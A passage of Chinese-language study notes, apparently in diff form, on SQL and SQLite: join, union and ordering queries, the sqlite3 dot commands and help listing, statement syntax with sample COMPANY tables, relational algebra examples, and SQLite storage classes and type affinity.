student.id=score.stu_id; +or +SELECT A.SNAME,B.CNO,B.DEGREE FROM STUDENT AS A JOIN SCORE AS B ON A.SNO=B.SNO; +//用连接的方式查询两个表的信息 +//SELECT A.xx B.xx FROM tableA AS A JOIN tableB AS B ON A.id=B.id; +or +sqlite> SELECT` student.id, name, SUM(grade) FROM student,score + ...> WHERE student.id=score.stu_id + ...> GROUP BY student.id; +``` + +#### 按高低排序 **order by ASC/DESC** + +``` +mysql> SELECT stu_id, grade FROM score + -> WHERE c_name= '计算机' + -> ORDER BY grade DESC; + -> ORDER BY grade ASC; +//将计算机考试成绩按从高到低进行排序DESC + +``` + +#### 从student表和score表中查询出学生的学号,然后合并查询结果 + +``` +mysql> SELECT id FROM student + -> UNION + -> SELECT stu_id FROM score; +``` + +#### 查询姓张或者姓王的同学的姓名、院系和考试科目及成绩 + +``` +sqlite> select student.id, name, c_name, grade + ...> from student, score + + ...> where (name like'B%' or name like 'o%') // % 只要包含此字符 + ...> where (name like'Bobby' or name like 'B.I') // 包含列出的字符 + + ...> and student.id=score.stu_id; +//查询姓张或者姓王的同学的姓名、院系和考试科目及成绩 + +``` + +#### select **distinct** cno from score +``` +select distinct cno from score where degree in (select degree from score where degree>85); +``` + + +## SQLite 命令 +SQLite 简单命令:SQLite 的点命令,这些命令的不同之处在于它们不以分号`;`结束。 + +--- + +**sqlite3 命令**: 在 SQLite 命令提示符下,您可以使用各种 SQLite 命令。 + +``` +$ sqlite3 +SQLite version 3.3.6 +Enter ".help" for instructions +sqlite> +``` + +### SQLite 点命令的列表: + +* **.backup ?DB? FILE** | 备份 DB 数据库(默认是 "main")到 FILE 文件。 +**.bail ON|OFF** | 发生错误后停止。默认为 OFF。 +**.databases** | 列出数据库的名称及其所依附的文件。 +**.dump ?TABLE?** 以 SQL 文本格式转储数据库。如果指定了 TABLE 表,则只转储匹配 LIKE 模式的 TABLE 表。 +**.echo ON|OFF** | 开启或关闭 echo 命令。 +**.exit** | 退出 SQLite 提示符。 +**.explain ON|OFF** | 开启或关闭适合于 EXPLAIN 的输出模式。如果没有带参数,则为 EXPLAIN on,及开启 EXPLAIN。 +#### .header on +* **.header(s) ON|OFF** + * 开启或关闭头部显示。 + * 显示字段名,就是把column的名字显示在上面 +``` +sqlite> .header on +sqlite> select * from table +XX,XX,XX,XX +``` + +* **.help** | 显示消息。 + * `sqlite>.help`: 获取可用的点命令的清单,可以在任何时候输入 ".help"。 + +``` +sqlite> .help +.auth ON|OFF Show authorizer callbacks +.backup ?DB? FILE Backup DB (default "main") to FILE +.bail on|off Stop after hitting an error. Default OFF +.binary on|off Turn binary output on or off. Default OFF +.cd DIRECTORY Change the working directory to DIRECTORY +.changes on|off Show number of rows changed by SQL +.check GLOB Fail if output since .testcase does not match +.clone NEWDB Clone data into NEWDB from the existing database +.databases List names and files of attached databases +.dbinfo ?DB? Show status information about the database +.dump ?TABLE? ... Dump the database in an SQL text format + If TABLE specified, only dump tables matching + LIKE pattern TABLE. +.echo on|off Turn command echo on or off +.eqp on|off|full Enable or disable automatic EXPLAIN QUERY PLAN +.exit Exit this program +.explain ?on|off|auto? Turn EXPLAIN output mode on or off or to automatic +.fullschema ?--indent? Show schema and the content of sqlite_stat tables +.headers on|off Turn display of headers on or off +.help Show this message +.import FILE TABLE Import data from FILE into TABLE +.imposter INDEX TABLE Create imposter table TABLE on index INDEX +.indexes ?TABLE? Show names of all indexes + If TABLE specified, only show indexes for tables + matching LIKE pattern TABLE. +.limit ?LIMIT? ?VAL? Display or change the value of an SQLITE_LIMIT +.lint OPTIONS Report potential schema issues. Options: + fkey-indexes Find missing foreign key indexes +.log FILE|off Turn logging on or off. FILE can be stderr/stdout +.mode MODE ?TABLE? Set output mode where MODE is one of: + ascii Columns/rows delimited by 0x1F and 0x1E + csv Comma-separated values + column Left-aligned columns. (See .width) + html HTML
    code + insert SQL insert statements for TABLE + line One value per line + list Values delimited by "|" + quote Escape answers as for SQL + tabs Tab-separated values + tcl TCL list elements +.nullvalue STRING Use STRING in place of NULL values +.once FILENAME Output for the next SQL command only to FILENAME +.open ?OPTIONS? ?FILE? Close existing database and reopen FILE + The --new option starts with an empty file +.output ?FILENAME? Send output to FILENAME or stdout +.print STRING... Print literal STRING +.prompt MAIN CONTINUE Replace the standard prompts +.quit Exit this program +.read FILENAME Execute SQL in FILENAME +.restore ?DB? FILE Restore content of DB (default "main") from FILE +.save FILE Write in-memory database into FILE +.scanstats on|off Turn sqlite3_stmt_scanstatus() metrics on or off +.schema ?PATTERN? Show the CREATE statements matching PATTERN + Add --indent for pretty-printing +.selftest ?--init? Run tests defined in the SELFTEST table +.separator COL ?ROW? Change the column separator and optionally the row + separator for both the output mode and .import +.session CMD ... Create or control sessions +.sha3sum ?OPTIONS...? Compute a SHA3 hash of database content +.shell CMD ARGS... Run CMD ARGS... in a system shell +.show Show the current values for various settings +.stats ?on|off? Show stats or turn stats on or off +.system CMD ARGS... Run CMD ARGS... in a system shell +.tables ?TABLE? List names of tables + If TABLE specified, only list tables matching + LIKE pattern TABLE. +.testcase NAME Begin redirecting output to 'testcase-out.txt' +.timeout MS Try opening locked tables for MS milliseconds +.timer on|off Turn SQL timer on or off +.trace FILE|off Output each SQL statement as it is run +.vfsinfo ?AUX? Information about the top-level VFS +.vfslist List all available VFSes +.vfsname ?AUX? Print the name of the VFS stack +.width NUM1 NUM2 ... Set column widths for "column" mode + Negative values right-justify +sqlite> +``` + +**.import FILE TABLE** | 导入来自 FILE 文件的数据到 TABLE 表中。 +.**indices ?TABLE?** | 显示所有索引的名称。如果指定了 TABLE 表,则只显示匹配 LIKE 模式的 TABLE 表的索引。 +**.load FILE ?ENTRY?** | 加载一个扩展库。 +**.log FILE|off** | 开启或关闭日志。FILE 文件可以是 stderr(标准错误)/stdout(标准输出)。 +#### .mode +* **.mode MODE** + * 设置输出模式,MODE 可以是下列之一: + * mode默认是list +* list: 由 .separator 字符串`|`分隔的值 +* line: 每行一个值 +* column: 左对齐的列 + +* csv 逗号分隔的值 +* html HTML 的
    代码 +* insert TABLE 表的 SQL 插入(insert)语句 +* tabs 由 Tab 分隔的值 +* tcl TCL 列表元素 + +**.nullvalue STRING** | 在 NULL 值的地方输出 STRING 字符串。 +**.output FILENAME** | 发送输出到 FILENAME 文件。 +**.output stdout** | 发送输出到屏幕。 +**.print STRING...** | 逐字地输出 STRING 字符串。 +**.prompt MAIN CONTINUE** | 替换标准提示符。 +**.quit** | 退出 SQLite 提示符。 +**.read FILENAME** | 执行 FILENAME 文件中的 SQL。 + +* **.schema ?TABLE?**: + * 显示 CREATE 语句。 +`sqlite>` `.schema` +`create table` table_name ( id `integer` `primary key` `not null default '0'`, name `verchar`(20), age `integer` `not null default '10'`); + + +* **.schema ?TABLE?**: + * 显示 CREATE 语句。如果指定了 TABLE 表,则只显示匹配 LIKE 模式的 TABLE 表。 + * `sqlite>.schema` : 得到一张表的完整信息. + +#### .separator +* **.separator "STRING"** + * 改变输出模式和 .import 所使用的分隔符。 + +``` +sqlite> .separator "," +sqlite> select * from table +XX,XX,XX,XX +``` + + +* **.show** + * 显示各种设置的当前值。 + * `sqlite>.show`:查看 SQLite 命令提示符的默认设置。 + +``` +sqlite>.show + echo: off + explain: off + headers: off + mode: column +nullvalue: "" + output: stdout +separator: "|" + width: +sqlite> + +//确保 sqlite> 提示符与点命令之间没有空格,否则将无法正常工作。 +``` + +**.stats ON|OFF** | 开启或关闭统计。 + +* **sqlite>.tables**: + * 验证表是否已成功创建,该命令用于列出附加数据库中的所有表。 + +* **sqlite>.tables ?PATTERN?**: + * 列出匹配 LIKE 模式的表的名称。 + +* **.tables**: 显示此数据库中的所有表,我这个库中只有一个表 + + +* **.timeout MS** | 尝试打开锁定的表MS 毫秒。 +* **.width NUM NUM** | 为 "column" 模式设置列宽度。 +* **.timer ON|OFF** | 开启或关闭 CPU 定时器。 + + +### 格式化输出 +使用下列的点命令来格式化输出为本教程下面所列出的格式: +**.header on +.mode column +.timer on** + +``` +sqlite>.header on +sqlite>.mode column +sqlite>.timer on +sqlite> +``` + +上面设置将产生如下格式的输出: + +``` +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +3 Teddy 23 Norway 20000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 +CPU Time: user 0.000000 sys 0.000000 +``` + +#### sqlite_master 表格 +主表中保存数据库表的关键信息,并把它命名为 sqlite_master。 +**.schema sqlite_master**: 查看表概要. + +``` +sqlite>.schema sqlite_master +``` +这将产生如下结果: + +``` +CREATE TABLE sqlite_master ( + type text, + name text, + tbl_name text, + rootpage integer, + sql text +); +``` + +## SQLite 语法 +SQLite 是遵循一套独特的称为语法的规则和准则。 +**大小写敏感性**:有SQLite 不区分大小写的,但也有一些命令是大小写敏感的,比如 GLOB 和 glob 在 SQLite 的语句中有不同的含义。 +**注释**: SQLite 注释是附加的注释,可以在 SQLite 代码中添加注释以增加其可读性,他们可以出现在任何空白处,包括在表达式内和其他 SQL 语句的中间,但它们不能嵌套。 + +* 以两个连续的 `-` 字符(ASCII 0x2d)开始,并扩展至下一个换行符(ASCII 0x0a)或直到输入结束,以先到者为准。 +* 也可以使用 C 风格的注释,以 `/*注释*/` 字符对或直到输入结束,以先到者为准。SQLite的注释可以跨越多行。 + +``` +sqlite>.help -- 这是一个简单的注释 +``` + +### SQLite 语句 +所有的 SQLite 语句可以以任何关键字开始,如 `SELECT`、`INSERT`、`UPDATE`、`DELETE`、`ALTER`、`DROP` 等,所有的语句以分号 `;`结束。 + +#### 1. SQLite ANALYZE 语句: + +``` +ANALYZE; +or +ANALYZE database_name; +or +ANALYZE database_name.table_name; +``` + +#### 2. SQLite AND/OR 子句: + +``` +SELECT column1, column2....columnN +FROM table_name +WHERE CONDITION-1 {AND|OR} CONDITION-2; +``` + +#### 3. SQLite ALTER TABLE 语句: + +``` +ALTER TABLE table_name ADD COLUMN column_def...; +``` + +#### 4. SQLite ALTER TABLE 语句(Rename): + +``` +ALTER TABLE table_name RENAME TO new_table_name; +``` + +#### 5. SQLite ATTACH DATABASE 语句: +``` +ATTACH DATABASE 'DatabaseName' As 'Alias-Name'; +SQLite BEGIN TRANSACTION 语句: +BEGIN; +or +BEGIN EXCLUSIVE TRANSACTION; +``` + +#### 6. BETWEEN 子句: +``` +SELECT column1, column2....columnN +FROM table_name +WHERE column_name BETWEEN val-1 AND val-2; +``` + +#### 7. COMMIT 语句: +``` +COMMIT; +``` + +#### 8. CREATE INDEX 语句: +``` +CREATE INDEX index_name +ON table_name ( column_name COLLATE NOCASE ); +``` + +#### 9. CREATE UNIQUE INDEX 语句: +``` +CREATE UNIQUE INDEX index_name +ON table_name ( column1, column2,...columnN); +``` + +#### 10. CREATE TABLE 语句:SQLite 创建表 +``` +CREATE TABLE table_name( + column1 datatype PRIMARY KEY(one or more columns), + column2 datatype, + column3 datatype, + ..... + columnN datatype PRIMARY KEY( one or more columns ) +); +``` + +`CREATE TABLE` 语句: +用于在任何给定的数据库创建一个新表。 +创建基本表,涉及到命名表、定义列及每一列的数据类型。 +CREATE TABLE 是告诉数据库系统创建一个新表的关键字。 +CREATE TABLE 语句后跟着表的唯一的名称或标识。 +您也可以选择指定带有 `table_name` 的 `database_name`。 + +``` +//创建一个 `COMPANY 表`,`ID` 作为主键,`NOT NULL` 的约束表示在表中创建纪录时这些字段不能为 `NULL`: + +sqlite> CREATE TABLE COMPANY( + ID INT PRIMARY KEY NOT NULL, + NAME TEXT NOT NULL, + AGE INT NOT NULL, + ADDRESS CHAR(50), + SALARY REAL +); + +//让我们再创建一个表,我们将在随后章节的练习中使用: + +sqlite> CREATE TABLE DEPARTMENT( + ID INT PRIMARY KEY NOT NULL, + DEPT CHAR(50) NOT NULL, + EMP_ID INT NOT NULL +); + +sqlite>.tables +COMPANY DEPARTMENT +//这里可以看到我们刚创建的两张表 COMPANY、 DEPARTMENT。 + +//使用 SQLite .schema 命令得到表的完整信息 +sqlite>.schema COMPANY +CREATE TABLE COMPANY( + ID INT PRIMARY KEY NOT NULL, + NAME TEXT NOT NULL, + AGE INT NOT NULL, + ADDRESS CHAR(50), + SALARY REAL +); +``` + + +#### SQLite CREATE TRIGGER 语句: +``` +CREATE TRIGGER database_name.trigger_name +BEFORE INSERT ON table_name FOR EACH ROW +BEGIN + stmt1; + stmt2; + .... +END; +``` + +#### 11. CREATE VIEW 语句: +``` +CREATE VIEW database_name.view_name AS +SELECT statement....; +``` + +#### 12. CREATE VIRTUAL TABLE 语句: +``` +CREATE VIRTUAL TABLE database_name.table_name USING weblog( access.log ); +or +CREATE VIRTUAL TABLE database_name.table_name USING fts3( ); +``` + +#### 13. COMMIT TRANSACTION 语句: +``` +COMMIT; +``` + +#### 14. COUNT 子句: +``` +SELECT COUNT(column_name) +FROM table_name +WHERE CONDITION; +``` + +#### 15. DELETE 语句: +``` +DELETE FROM table_name +WHERE {CONDITION}; +``` + +#### 16. DETACH DATABASE 语句: +``` +DETACH DATABASE 'Alias-Name'; +``` + +#### 17. DISTINCT 子句: +``` +SELECT DISTINCT column1, column2....columnN +FROM table_name; +``` + +#### 18. DROP INDEX 语句: +``` +DROP INDEX database_name.index_name; +``` + +#### 19. DROP TABLE 语句:SQLite 删除表 +`DROP TABLE` 语句: +删除表定义及其所有相关数据、索引、触发器、约束和该表的权限规范。 +一旦一个表被删除,表中所有信息也将永远丢失。 + +**语法** + +``` +DROP TABLE database_name.table_name; +``` + +``` +sqlite>.tables +COMPANY test.COMPANY +//先确认 COMPANY 表已经存在,然后我们将其从数据库中删除。 +//结果 COMPANY 表已存在数据库中,接下来让我们把它从数据库中删除. + +sqlite>DROP TABLE COMPANY; +sqlite> + +//尝试 .TABLES 命令,那么将无法找到 COMPANY 表了: +sqlite>.tables +sqlite> +//显示结果为空,意味着已经成功从数据库删除表。 +``` + + + +#### 20. DROP VIEW 语句: +``` +DROP VIEW view_name; +``` + +#### 21. DROP TRIGGER 语句: +``` +DROP TRIGGER trigger_name +``` + +#### 22. EXISTS 子句: +``` +SELECT column1, column2....columnN +FROM table_name +WHERE column_name EXISTS (SELECT * FROM table_name ); +``` + +#### 23. EXPLAIN 语句: +``` +EXPLAIN INSERT statement...; +or +EXPLAIN QUERY PLAN SELECT statement...; +``` + +#### 27. INSERT INTO 语句: +`INSERT INTO` 语句: +用于向数据库的某个表中添加新的数据行。 +如果要为表中的所有列添加值,可以不需要在 SQLite 查询中指定列名称。但要确保值的顺序与列在表中的顺序一致。 + +**语法**: 两种基本语法. + +``` +INSERT INTO TABLE_NAME [(column1, column2, column3,...columnN)] +INSERT INTO TABLE_NAME VALUES (value1, value2, value3,...valueN); +//在这里,column1, column2,...columnN 是要插入数据的表中的列的名称。 +``` + +``` +//假设您已经在 testDB.db 中创建了 COMPANY表,如下所示: + +sqlite> CREATE TABLE COMPANY( + ID INT PRIMARY KEY NOT NULL, + NAME TEXT NOT NULL, + AGE INT NOT NULL, + ADDRESS CHAR(50), + SALARY REAL +); + +//在 COMPANY 表中创建六个记录: +//语法1 + +INSERT INTO COMPANY (ID,NAME,AGE,ADDRESS,SALARY) +VALUES (1, 'Paul', 32, 'California', 20000.00 ); + +INSERT INTO COMPANY (ID,NAME,AGE,ADDRESS,SALARY) +VALUES (2, 'Allen', 25, 'Texas', 15000.00 ); + +//语法2 + +INSERT INTO COMPANY VALUES (7, 'James', 24, 'Houston', 10000.00 ); + +// 在 COMPANY 表中创建下列记录。 + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +7 James 24 Houston 10000.0 +``` + +``` +//使用一个表来填充另一个表 +//可以通过在一个有一组字段的表上使用 select 语句,填充数据到另一个表中。 + +INSERT INTO first_table_name [(column1, column2, ... columnN)] + SELECT column1, column2, ...columnN + FROM second_table_name + [WHERE condition]; +``` + + + +#### PRAGMA 语句: +**PRAGMA pragma_name;** +For example: + +``` +PRAGMA page_size; +PRAGMA cache_size = 1024; +PRAGMA table_info(table_name); +``` + +#### SQLite RELEASE SAVEPOINT 语句: +``` +RELEASE savepoint_name; +``` + +#### SQLite REINDEX 语句: +``` +REINDEX collation_name; +REINDEX database_name.index_name; +REINDEX database_name.table_name; +``` + +#### SQLite ROLLBACK 语句: +``` +ROLLBACK; +or +ROLLBACK TO SAVEPOINT savepoint_name; +``` + +#### SQLite SAVEPOINT 语句: +``` +SAVEPOINT savepoint_name; +``` + +#### SQLite SELECT 语句: +`SELECT` 语句: +用于从 SQLite 数据库表中获取数据,以结果表的形式返回数据。 +这些结果表也被称为结果集。 + +``` +SELECT column1, column2....columnN +FROM table_name; +//column1, column2...是表的字段,他们的值即是您要获取的。 + + +//获取所有可用的字段 +``` + +##### sqlite> SELECT * FROM FROM table_name; 获取所有可用的字段 + +``` +//假设 COMPANY 表有以下记录: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +3 Teddy 23 Norway 20000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 + +sqlite>.header on +sqlite>.mode column + +sqlite> SELECT * FROM COMPANY; + +//前三个命令被用来设置正确格式化的输出。 +//最后,将得到以下的结果: + +ID NAME AGE ADDRESS SALARY +---------- ---------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +3 Teddy 23 Norway 20000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 +``` + +##### sqlite> SELECT column1,2....N FROM table_name; 只获取 COMPANY 表中指定的字段 +``` +sqlite> SELECT ID, NAME, SALARY FROM COMPANY; +//只想获取 COMPANY 表中指定的字段 +//上面的查询会产生以下结果: + +ID NAME SALARY +---------- ---------- ---------- +1 Paul 20000.0 +2 Allen 15000.0 +3 Teddy 20000.0 +4 Mark 65000.0 +5 David 85000.0 +6 Kim 45000.0 +7 James 10000.0 +``` + +##### .width num, num.... 设置输出列的宽度 +``` +//有时由于要显示的列的默认宽度导致 .mode column,这种情况下,输出被截断。 +//可以使用 .width num, num.... 命令设置显示列的宽度,如下所示: + +sqlite>.width 10, 20, 10 +sqlite>SELECT * FROM COMPANY; + +//.width 命令设置第一列的宽度为 10,第二列的宽度为 20,第三列的宽度为 10。 +//上述 SELECT 语句将得到以下结果: + +ID NAME AGE ADDRESS SALARY +---------- -------------------- ---------- ---------- ---------- +1 Paul 32 California 20000.0 +2 Allen 25 Texas 15000.0 +3 Teddy 23 Norway 20000.0 +4 Mark 25 Rich-Mond 65000.0 +5 David 27 Texas 85000.0 +6 Kim 22 South-Hall 45000.0 +7 James 24 Houston 10000.0 +``` + +##### Schema 信息 +因为所有的点命令只在 SQLite 提示符中可用,所以当您进行带有 SQLite 的编程时,您要使用下面的带有 sqlite_master 表的 SELECT 语句来列出所有在数据库中创建的表: + +sqlite> `SELECT` **tbl_name** `FROM` **sqlite_master** `WHERE type =` **'table'**; + + +``` +//使用下面的带有 sqlite_master 表的 SELECT 语句来列出所有在数据库中创建的表: +sqlite> SELECT tbl_name FROM sqlite_master WHERE type = 'table'; + +//假设在 testDB.db 中已经存在唯一的 COMPANY 表 +tbl_name +---------- +COMPANY + +//列出关于 COMPANY 表的完整信息,如下所示: +sqlite> SELECT sql FROM sqlite_master WHERE type = 'table' AND tbl_name = 'COMPANY'; + +//假设在 testDB.db 中已经存在唯一的 COMPANY 表,则将产生以下结果: +CREATE TABLE COMPANY( + ID INT PRIMARY KEY NOT NULL, + NAME TEXT NOT NULL, + AGE INT NOT NULL, + ADDRESS CHAR(50), + SALARY REAL +) +``` + +#### SQL UNION 和 UNION ALL 操作符 + +### Operator +#### GLOB 子句: +``` +SELECT column1, column2....columnN +FROM table_name +WHERE column_name GLOB { PATTERN }; +``` + +#### GROUP BY 子句: +``` +SELECT SUM(column_name) +FROM table_name +WHERE CONDITION +GROUP BY column_name; +``` +* `AVG`(): finds the average value of *numeric attribute* +* `MIN`(): finds the minimum value of *string/numeric attribute* +* `MAX`(): finds the maximum value of *string/numeric attribute* +* `SUM`(): finds the sum total of a *numeric attribute* +* `COUNT`(): counts the number of rows in a set + + +#### HAVING 子句clause: +``` +SELECT SUM(column_name) +FROM table_name +WHERE CONDITION +GROUP BY column_name +HAVING (arithematic function condition); +``` +The `HAVING` clause can do the same thing as `WHERE` clause + +* SELECT FID, Name FROM Faculty +* HAVING Rank = 'Professor'; + +* SELECT FID, Name FROM Faculty +* WHERE Rank = 'Professor'; +/generate the same output, +/but the WHERE clause provides a better performance + +`HAVING` clause ually used with GROUP BY, can include aggregate functions (previous page) + +#### IN 子句: +``` +SELECT column1, column2....columnN +FROM table_name +WHERE column_name IN (val-1, val-2,...val-N); +``` +#### JOIN 子句clause:combine rows from tables based on common field. + +![](media/15361896864552/15590892383952.png) + +``` +1. +SELECT columnA1, columnA2, columnB1, columnB2... +FROM TableA +(INNER) JOIN TableB +ON tableA.column_name=tableB.column_name;; + +2. +SELECT column_name(s) +FROM table1 +LEFT (OUTER) JOIN table2 +ON table1.column_name=table2.column_name; + +3. +SELECT column_name(s) +FROM table1 +RIGHT (OUTER) JOIN table2 +ON table1.column_name=table2.column_name; + +4. +SELECT column_name(s) +FROM table1 +FULL (OUTER) JOIN table2 +ON table1.column_name=table2.column_name; +``` + +1. `INNER JOIN`: 如果表中有至少一个匹配,则返回行 +2. `LEFT JOIN`: Return all rows from the left table, and the matched rows from the right table.即使右表中没有匹配,也从左表返回所有的行 +3. `RIGHT JOIN`: Return all rows from the right table, and the matched rows from the left table.即使左表中没有匹配,也从右表返回所有的行 +4. `FULL JOIN`: Return all rows when there is a match in ONE of the tables.只要其中一个表中存在匹配,则返回行. 结合了 LEFT JOIN 和 RIGHT JOIN 的结果。 + +``` +Websites ++----+--------------+---------------------------+-------+---------+ +| id | name | url | alexa | country | ++----+--------------+---------------------------+-------+---------+ +| 1 | Google | https://www.google.cm/ | 1 | USA | +| 2 | 淘宝 | https://www.taobao.com/ | 13 | CN | +| 3 | 菜鸟教程 | https://www.runoob.com/ | 4689 | CN | +| 4 | 微博 | https://weibo.com/ | 20 | CN | +| 5 | Facebook | https://www.facebook.com/ | 3 | USA | +| 7 | stackoverflow | https://stackoverflow.com/ | 0 | IND | ++----+---------------+---------------------------+-------+---------+ + +access_log ++-----+---------+-------+------------+ +| aid | site_id | count | date | ++-----+---------+-------+------------+ +| 1 | 1 | 45 | 2016-05-10 | +| 2 | 3 | 100 | 2016-05-13 | +| 3 | 1 | 230 | 2016-05-14 | +| 4 | 2 | 10 | 2016-05-14 | +| 5 | 5 | 205 | 2016-05-14 | +| 6 | 4 | 13 | 2016-05-15 | +| 7 | 3 | 220 | 2016-05-15 | +| 8 | 5 | 545 | 2016-05-16 | +| 9 | 3 | 201 | 2016-05-17 | ++-----+---------+-------+------------+ +``` + +SELECT Websites.name, access_log.count, access_log.date +FROM Websites +LEFT JOIN access_log +ON Websites.id=access_log.site_id +ORDER BY access_log.count DESC; + +![-w534](media/15361896864552/15590897911253.jpg) + +SELECT Websites.name, access_log.count, access_log.date +FROM access_log +RIGHT JOIN Websites +ON access_log.site_id=Websites.id +ORDER BY access_log.count DESC; + +![-w523](media/15361896864552/15590898224273.jpg) + + +join more tables: + +`SELECT` SID, C.MCode, C.Cno, C.Title +`FROM` Enrollment E, Section S, Course C +`WHERE` E.CallNo = S.CallNo `AND` S.Mcode = C.MCode `AND` S.CNo = C.CNo +`ORDER BY` SID + + +#### Like 子句: +``` +SELECT column1, column2....columnN +FROM table_name +WHERE column_name LIKE PATTERN; +``` +**case sensitive** +* `LIKE` 'Toyota`%`'; *start with Toyota* +* `LIKE` '`%`0'; *end with 0* +* `LIKE` '`%`RX4`%`' *contain RX$* +* `NOT LIKE` '`%`RX4`%`' *do NOT match the pattern* + +#### NOT IN 子句: +``` +SELECT column1, column2....columnN +FROM table_name +WHERE column_name NOT IN (val-1, val-2,...val-N); +``` + +#### ORDER BY 子句: +``` +SELECT column1, column2....columnN +FROM table_name +WHERE CONDITION +ORDER BY column_name {ASC|DESC}; +``` + + +### comparison +#### NULL +* To check whether a value is NULL or not in MySQL, +* we can use `IS NULL` or `IS NOT NULL` +``` +SELECT * FROM Section +WHERE Room IS NULL; +``` +### Relational Algebra - Examples +* A X B X C, 要标注 where 条件 and key一一对应 +`Π`course.MCode, Course.Cno, Schedule, Room, Credit +(`σ`SID = "625018" (Enrollment `X` Section `X` Course)) + +`SELECT` C.MCode, C.CNo, Credit, Schedule, Room FROM Enrollment E, Section S, Course C +`WHERE` E.SID='20000006' +`AND` E.CallNo=S.CallNo `AND` S.MCode=C.MCode `AND` S.CNo=C.CNo; + +2. SID +SID --- `Π`SID(Student) - `Π`SID(Transcript) +`Π`Student.SID,Name (SID Student)) + +`SELECT` SID, Name FROM Student +`WHERE` SID `IN` ( +`SELECT SID FROM Student` +`MINUS` `SELECT SID FROM Transcript` +) + +3. group +SC -- SID`G`sum(Credit)(Transcript `X` Course) +`Π`SC.SID,Name `σ`sum(Credit) >= 6 (SC `X` Student)) + +`SELECT` S.SID, S.Name, SUM(Credit) +`FROM` Student S, Transcript T, Course C +`WHERE` S.SID=T.SID `AND` T.MCode=C.Mcode `AND` T.CNo= C.Cno +`GROUP BY` S.SID +`HAVING` SUM(Credit)>=6; + + +### SQL UNION 语法 +* **UNION** 操作符 + * UNION 操作符用于合并两个或多个 SELECT 语句的结果集。 + * 注意: + * UNION 内部的 SELECT 语句必须拥有相同数量的列。 + * 列也必须拥有相似的数据类型。 + * 同时,每条 SELECT 语句中的列的顺序必须相同。 +注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。 + +`SELECT` NameA `as` name sexA `as` sex `FROM` tableA +`UNION` +`SELECT` NameB `as` name sexB `as` sex `FROM` tableB + +``` +Employees_China: +E_ID E_Name +01 Zhang, Hua +02 Wang, Wei +03 Carter, Thomas +04 Yang, Ming + +Employees_USA: +E_ID E_Name +01 Adams, John +02 Bush, George +03 Carter, Thomas +04 Gates, Bill + +SELECT E_Name FROM Employees_China +UNION +SELECT E_Name FROM Employees_USA + +结果: +E_Name +Zhang, Hua +Wang, Wei +Carter, Thomas +Yang, Ming +Adams, John +Bush, George +Gates, Bill +//注释:这个命令无法列出在中国和美国的所有雇员。 +//在上面的例子中,我们有两个名字相同的雇员,他们当中只有一个人被列出来了。 +//UNION 命令只会选取不同的值。 +``` + + +### SQL UNION ALL 语法 +SELECT column_name(s) FROM table_name1 +UNION ALL +SELECT column_name(s) FROM table_name2 +另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。 + +#### SQLite UPDATE 语句: +``` +UPDATE table_name +SET column1 = value1, column2 = value2....columnN=valueN +[ WHERE CONDITION ]; +``` + +#### SQLite VACUUM 语句: +``` +VACUUM; +``` + +#### SQLite WHERE 子句: +``` +SELECT column1, column2....columnN +FROM table_name +WHERE CONDITION; +``` + +## SQLite 数据类型 +**SQLite 数据类型**: 是一个用来指定任何对象的数据类型的属性。 +SQLite 中的每一列,每个变量和表达式都有相关的数据类型。 +您可以在创建表的同时使用这些数据类型。SQLite 使用一个更普遍的动态类型系统。 +在 SQLite 中,值的数据类型与值本身是相关的,而不是与它的容器相关。 + +### SQLite 存储类 +每个存储在 SQLite 数据库中的值都具有以下存储类之一: + +| 存储类 | 描述 | +| ----------- | ----------------------------------------------------------------------- | +| **NULL** | 值是一个 NULL 值。 | +| **INTEGER** | 值是一个带符号的整数,根据值的大小存储在 1、2、3、4、6 或 8 字节中。 | +| **REAL** | 值是一个浮点值,存储为 8 字节的 IEEE 浮点数字。 | +| **TEXT** | 值是一个文本字符串,使用数据库编码(UTF-8、UTF-16BE 或 UTF-16LE)存储。 | +| **BLOB** | 值是一个 blob 数据,完全根据它的输入存储。 | + +SQLite 的**存储类**稍微比数据类型更普遍。INTEGER 存储类,例如,包含 6 种不同的不同长度的整数数据类型。 + +### SQLite 亲和(Affinity)类型 +SQLite支持列的亲和类型概念。任何列仍然可以存储任何类型的数据,当数据插入时,该字段的数据将会优先采用亲缘类型作为该值的存储方式。SQLite目前的版本支持以下五种亲缘类型: + +| 亲和类型 | 描述 | +| ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **TEXT** | 数值型数据在被插入之前,需要先被转换为文本格式,之后再插入到目标字段中。 | +| **NUMERIC** | 当文本数据被插入到亲缘性为`NUMERIC`的字段中时,如果转换操作不会导致数据信息丢失以及完全可逆,那么SQLite就会将该文本数据转换为`INTEGER`或`REAL`类型的数据,如果转换失败,SQLite仍会以`TEXT`方式存储该数据。对于`NULL`或`BLOB`类型的新数据,SQLite将不做任何转换,直接以NULL或BLOB的方式存储该数据。需要额外说明的是,对于浮点格式的常量文本,如"30000.0",如果该值可以转换为INTEGER同时又不会丢失数值信息,那么SQLite就会将其转换为INTEGER的存储方式。 | +| **INTEGER** | 对于亲缘类型为`INTEGER`的字段,其规则等同于`NUMERIC`,唯一差别是在执行CAST表达式时。 | +| **REAL** | 其规则基本等同于`NUMERIC`,唯一的差别是不会将"30000.0"这样的文本数据转换为INTEGER存储方式。 | +| **NONE** | 不做任何的转换,直接以该数据所属的数据类型进行存储。 | + +### SQLite 亲和类型(Affinity)及类型名称 +下表列出了当创建 SQLite3 